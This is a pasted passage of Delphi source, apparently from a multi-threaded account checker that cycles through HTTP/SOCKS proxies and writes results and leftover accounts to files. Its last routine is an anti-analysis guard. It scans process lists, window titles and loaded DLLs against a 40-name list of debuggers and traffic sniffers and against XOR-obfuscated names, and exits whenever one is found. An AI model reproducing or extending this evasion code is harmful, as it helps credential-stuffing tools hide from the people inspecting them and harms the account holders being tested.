  817. end;
  818.  
  819. procedure TForm1.sListView2DblClick(Sender: TObject);
  820. begin
  821. if FTimes = '' then
  822. begin
  823. ShellExecute(Form1.Handle, 'open', Pchar(ExtractFilePath(Application.ExeName)), nil, nil, SW_SHOW);
  824. end
  825. else
  826. begin
  827. ShellExecute(Form1.Handle, 'open', PChar(ExtractFilePath(Application.ExeName) + 'Результаты\Результаты(' + FTimes + ')' + FServise), nil, nil, SW_SHOW);
  828. end;
  829. end;
  830.  
  831. procedure TForm1.StartButtonClick(Sender: TObject);
  832. var
  833. I: Integer;
  834. FUProxy: string;
  835. Z: Integer;
  836. S: string;
  837. FCounts: Integer;
  838. begin
  839. smemo1.Lines.Clear;
  840. if not Form1.ProxySettingsCheckBox.Checked then
  841. FProxyType := 0
  842. else
  843. FProxyType := 1;
  844. if FProxyType > 0 then
  845. begin
  846. if (Form1.ProxySettingsCheckBox.Checked = True) and (Proxy.Count > 0) then
  847. begin
  848. if Form2.HTTPCheckBox.Checked then
  849. FProxyType := 1;
  850. if Form2.SOCKS4CheckBox.Checked then
  851. FProxyType := 2;
  852. if Form2.SOCKS5CheckBox.Checked then
  853. FProxyType := 3;
  854. end
  855. else
  856. begin
  857. ShowMessage('Запуск программы не возможен, прокси не обнаружено!');
  858. Exit;
  859. end;
  860. end;
  861. InitializeCriticalSection(FCriticalSection);
  862. FCheckProxy := False;
  863. sSpinEdit2.Enabled := False;
  864. FWork := True;
  865. FTimeOut := Form1.TimeOutSpinEdit.Value * 1000;
  866. FThreadCount := 0;
  867. FCheckProxy := True;
  868. if not Form1.sCheckBox1.Checked then
  869. FCheckProxy := False;
  870. FAcc := -1;
  871. tmr1.Enabled := True;
  872. Timer1.Enabled := True;
  873. sGauge1.MaxValue := FAccounts.Count;
  874. StartButton.Enabled := False;
  875. PauseButton.Enabled := True;
  876. StopButton.Enabled := True;
  877. CleanButton.Enabled := False;
  878. Form1.ThreadSpinEdit.Enabled := False;
  879. Form1.TimeOutSpinEdit.Enabled := False;
  880. ProxyButton.Enabled := False;
  881. FormatSettings.TimeSeparator := '.';
  882. FTimes := TimeToStr(Time);
  883. CreateDir(ExtractFilePath(Application.ExeName) + 'Результаты');
  884. CreateDir(ExtractFilePath(Application.ExeName) + 'Результаты\Результаты(' + FTimes + ')');
  885. FDir := ExtractFilePath(Application.ExeName) + 'Результаты\Результаты(' + FTimes + ')\';
  886. Form1.sGauge1.Progress := 0;
  887. sGauge1.MaxValue := FAccounts.Count;
  888. if Form2.UpdateCheckBox.Checked = True then
  889. begin
  890. Form2.tmr1.Interval := Form2.TimeSpin.Value * 60 * 1000;
  891. Form2.tmr1.Enabled := True;
  892. end;
  893. for I := 0 to Form1.ThreadSpinEdit.Value - 1 do
  894. begin
  895. FThread[I] := Thread.Create(True, FProxyType, sSpinEdit2.Value);
  896. end;
  897. end;
  898.  
  899. procedure TForm1.sTitleBar1Items1Click(Sender: TObject);
  900. var
  901. bmp: TbitMap;
  902. begin
  903. bmp := tbitmap.Create;
  904. bmp.Width := form1.Width - 15;
  905. bmp.Height := form1.Height - 30;
  906. BitBlt(bmp.Canvas.Handle, 0, 0, form1.Width, form1.Height, getdc(form1.handle), 0, 0, SRCCOPY);
  907. bmp.SaveToFile('Screen.png');
  908. end;
  909.  
  910. procedure TForm1.sTitleBar1Items4Click(Sender: TObject);
  911. begin
  912. if FTimes = '' then
  913. begin
  914. ShellExecute(Form1.Handle, 'open', Pchar(ExtractFilePath(Application.ExeName)), nil, nil, SW_SHOW);
  915. end
  916. else
  917. begin
  918. ShellExecute(Form1.Handle, 'open', PChar(ExtractFilePath(Application.ExeName) + 'Результаты\Результаты(' + FTimes + ')' + FServise), nil, nil, SW_SHOW);
  919. end;
  920. end;
  921.  
  922. procedure TForm1.StopButtonClick(Sender: TObject);
  923. var
  924. I: Integer;
  925. begin
  926. FWork := False;
  927. StopButton.Enabled := False;
  928. PauseButton.Enabled := False;
  929. CleanButton.Enabled := True;
  930. tmr1.Enabled := False;
  931. FThreadCount := 0;
  932. Timer1.Enabled := False;
  933. SpeedLabel.Caption := '0';
  934. Form2.tmr1.Enabled := False;
  935. for I := 0 to Form1.ThreadSpinEdit.Value - 1 do
  936. begin
  937. SuspendThread(FThread[I].Handle);
  938. FThread[I].Terminate;
  939. end;
  940. end;
  941.  
  942. procedure TForm1.TimeOutSpinEditChange(Sender: TObject);
  943. begin
  944. FTimeOut := Form1.TimeOutSpinEdit.Value * 1000;
  945. end;
  946.  
  947. procedure TForm1.Timer1Timer(Sender: TObject);
  948. var
  949. PPS: string;
  950. begin
  951. PPS := FloatToStr(FPPSValue * 1000 / Timer1.Interval);
  952. FPPSValue := 0;
  953. SpeedLabel.Caption := PPS;
  954. end;
  955.  
  956. procedure TForm1.tmr1Timer(Sender: TObject);
  957. begin
  958. FAccountsReserved.SaveToFile(ExtractFilePath(Application.ExeName) + 'Результаты\Результаты(' + FTimes + ')' + FServise + '\Остаток.txt');
  959. end;
  960.  
  961. procedure TForm1.TrayIcon1Click(Sender: TObject);
  962. begin
  963. TrayIcon1.Visible := False;
  964. Form1.Show;
  965. end;
  966.  
  967. procedure TASThread.Execute;
  968. type
  969. TModuleArray = array[0..400] of HMODULE;
  970. type
  971. EnumModType = function(hProcess: Longint; lphModule: TModuleArray; cb: DWord; var lpcbNeeded: Longint): Boolean; stdcall;
  972. const
  973. BadWindowWND: array[1..40] of string = ('analyzer', 'httpanalyzer', 'http analyzer', 'wire', 'interce', 'charles', 'fiddler', 'megadumper', 'unpack', 'codecracker', 'patch', 'skygrabber', 'ip tools', 'packet', 'packit', 'ipgrab', 'reflector', 'olly', 'netip', 'netmonitor', 'scapy', 'wpe', 'snif', 'shark', 'ieinspector', 'tcp viewer', 'snoop', 'phant0m', 'spoof', 'ollydbg', 'lordpe', 'peid', 'cff', 'petools', 'memory patcher', 'artmoney', 'cheat engine', 'abel loader', 'inqsoft', 'http debugger');
  974. const
  975. mkb = 1755695074;
  976. dwx: array[0..233] of byte = ($86, $C6, $47, $64, $4F, $57, $15, $D2, $42, $83, $78, $A5, $E4, $B8, $8F, $E8, $0B, $9A, $DC, $97, $AA, $86, $52, $C8, $B6, $B0, $1A, $0F, $AF, $AE, $33, $3B, $A3, $AA, $F4, $DE, $D1, $EB, $DF, $B3, $16, $22, $8E, $F3, $5D, $A0, $79, $72, $49, $B0, $50, $30, $C4, $11, $35, $E7, $BA, $54, $0C, $AD, $07, $30, $76, $BF, $B8, $23, $45, $73, $24, $C3, $55, $CD, $AD, $A1, $7B, $77, $42, $94, $D4, $45, $E8, $7E, $64, $C8, $B0, $B4, $E3, $7B, $67, $11, $42, $50, $C0, $B5, $F7, $99,
  977. $BD, $89, $24, $A1, $6F, $AA, $18, $63, $58, $5C, $B7, $F9, $67, $8E, $26, $E7, $B9, $B7, $EB, $32, $7B, $CC, $5A, $EF, $A0, $E6, $82, $F8, $8C, $8A, $FD, $E2, $EB, $57, $44, $D2, $8D, $FD, $59, $78, $C2, $6A, $98, $74, $E9, $96, $FD, $16, $AF, $35, $A0, $89, $E8, $36, $E5, $82, $60, $AD, $5D, $2B, $0A, $C3, $5D, $86, $AF, $8C, $9B, $0A, $53, $F7, $31, $78, $09, $EA, $97, $7A, $19, $F9, $81, $62, $AF, $03, $F1, $1B, $C7, $B8, $E8, $49, $AD, $FE, $71, $73, $C0, $13, $6C, $3A, $AF, $9A, $2C, $D1, $05, $33, $0D, $91, $F8, $4C, $89, $8E, $75, $D5, $91, $08, $AF, $4A, $0C, $E9, $48, $42, $CF, $7A, $CC, $71, $D5, $85, $A8, $AF, $3B, $E7, $4F, $3D, $E6, $3B, $B5, $D7, $26, $66, $D7, $34);
  978. var
  979. WindowSearch: HWND;
  980. CurrentWnd: string;
  981. WHKill, FindWND: Integer;
  982. HandlesList: TStringList;
  983. buff: array[0..255] of Char;
  984. hSnapShot: THandle;
  985. CurrentProc: string;
  986. ProcInfo: TProcessEntry32;
  987. ProcessList: TStringList;
  988. ProcKill: Integer;
  989. psapilib: HModule;
  990. EnumProc: Pointer;
  991. ma: TModuleArray;
  992. I: Longint;
  993. FileName: array[0..MAX_PATH] of Char;
  994. S: string;
  995.  
  996. function CryptoGuardThread(vgp, znr: Integer): string;
  997. var
  998. lau, qft: integer;
  999. begin
  1000. Result := '';
  1001. qft := mkb;
  1002. for lau := vgp to znr + vgp - 1 do
  1003. begin
  1004. Result := Result + AnsiChar(Byte(dwx[lau]) xor (qft shr 8));
  1005. qft := (dwx[lau] + qft) * (vgp + znr) + znr;
  1006. end;
  1007. end;
  1008.  
  1009. begin
  1010. repeat
  1011. try
  1012. //////////////////////////////////////////////
  1013. // Process Monitor
  1014. //////////////////////////////////////////////
  1015. ///
  1016. ProcessList := TStringList.Create;
  1017. hSnapShot := CreateToolHelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  1018. if (hSnapShot <> THandle(-1)) then
  1019. begin
  1020. ProcInfo.dwSize := SizeOf(ProcInfo);
  1021. if Process32First(hSnapShot, ProcInfo) then
  1022. begin
  1023. ProcessList.Add(ProcInfo.szExeFile);
  1024. while Process32Next(hSnapShot, ProcInfo) do
  1025. ProcessList.Add(ProcInfo.szExeFile);
  1026. end;
  1027. CloseHandle(hSnapShot);
  1028. end;
  1029. if (Pos(CryptoGuardThread(20, 8), ProcessList.Text) <> 0) or (Pos(CryptoGuardThread(28, 5), ProcessList.Text) <> 0) or (Pos(CryptoGuardThread(33, 6), ProcessList.Text) <> 0) or (Pos(CryptoGuardThread(39, 10), ProcessList.Text) <> 0) or (Pos(CryptoGuardThread(49, 10), ProcessList.Text) <> 0) or (Pos(CryptoGuardThread(59, 13), ProcessList.Text) <> 0) or (Pos(CryptoGuardThread(72, 12), ProcessList.Text) <> 0) or (Pos(CryptoGuardThread(84, 9), ProcessList.Text) <> 0) or (Pos(CryptoGuardThread(93, 6), ProcessList.Text) <> 0) or (Pos(CryptoGuardThread(99, 7), ProcessList.Text) <> 0) or (Pos(CryptoGuardThread(106, 7), ProcessList.Text) <> 0) then
  1030. begin
  1031. ExitProcess(0);
  1032. end;
  1033. FreeAndNil(ProcessList);
  1034.  
  1035. //////////////////////////////////////////////
  1036. // Handle Monitor
  1037. //////////////////////////////////////////////
  1038. ///
  1039. HandlesList := TStringList.Create;
  1040. WindowSearch := GetWindow(Handle, GW_HWNDFIRST);
  1041. while WindowSearch <> 0 do
  1042. begin
  1043. GetWindowText(WindowSearch, buff, SizeOf(buff));
  1044. if buff <> '' then
  1045. begin
  1046. HandlesList.Add(buff);
  1047. end;
  1048. WindowSearch := GetWindow(WindowSearch, GW_HWNDNEXT);
  1049. end;
  1050. for WHKill := 0 to HandlesList.Count - 1 do
  1051. begin
  1052. for FindWND := 1 to 40 do
  1053. begin
  1054. CurrentWnd := LowerCase(HandlesList[WHKill]);
  1055. if Pos(BadWindowWND[FindWND], CurrentWnd) <> 0 then
  1056. begin
  1057. ExitProcess(0);
  1058. end;
  1059. end;
  1060. end;
  1061. FreeAndNil(HandlesList);
  1062.  
  1063. //////////////////////////////////////////////
  1064. // DLL Monitor
  1065. //////////////////////////////////////////////
  1066. ///
  1067. if Win32Platform <> VER_PLATFORM_WIN32_NT then
  1068. Continue;
  1069. psapilib := LoadLibrary(PWideChar(CryptoGuardThread(113, 9)));
  1070. if psapilib = 0 then
  1071. Continue;
  1072. try
  1073. EnumProc := GetProcAddress(psapilib, PWideChar(CryptoGuardThread(122, 18)));
  1074. if not Assigned(EnumProc) then
  1075. Continue;
  1076. FillChar(ma, SizeOF(TModuleArray), 0);
  1077. if EnumModType(EnumProc)(GetCurrentProcess, ma, 400, I) then
  1078. begin
  1079. for I := 0 to 400 do
  1080. if ma[I] <> 0 then
  1081. begin
  1082. FillChar(FileName, MAX_PATH, 0);
  1083. GetModuleFileName(ma[I], FileName, MAX_PATH);
  1084. if CompareText(ExtractFileExt(FileName), CryptoGuardThread(140, 4)) = 0 then
  1085. begin
  1086. S := FileName;
  1087. S := LowerCase(ExtractFileName(S));
  1088. if (Pos(CryptoGuardThread(144, 16), S) <> 0) or (Pos(CryptoGuardThread(160, 16), S) <> 0) or (Pos(CryptoGuardThread(176, 16), S) <> 0) or (Pos(CryptoGuardThread(192, 16), S) <> 0) or (Pos(CryptoGuardThread(208, 13), S) <> 0) or (Pos(CryptoGuardThread(221, 13), S) <> 0) then
  1089. begin
  1090. ExitProcess(0);
  1091. end;
  1092. end;
  1093. end;
  1094. end;
  1095. finally
  1096. FreeLibrary(psapilib);
  1097. end;
  1098. except
  1099. end;
  1100. Sleep(1000);
  1101. until 1 = 0;
  1102. end;
  1103.  
  1104. end.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement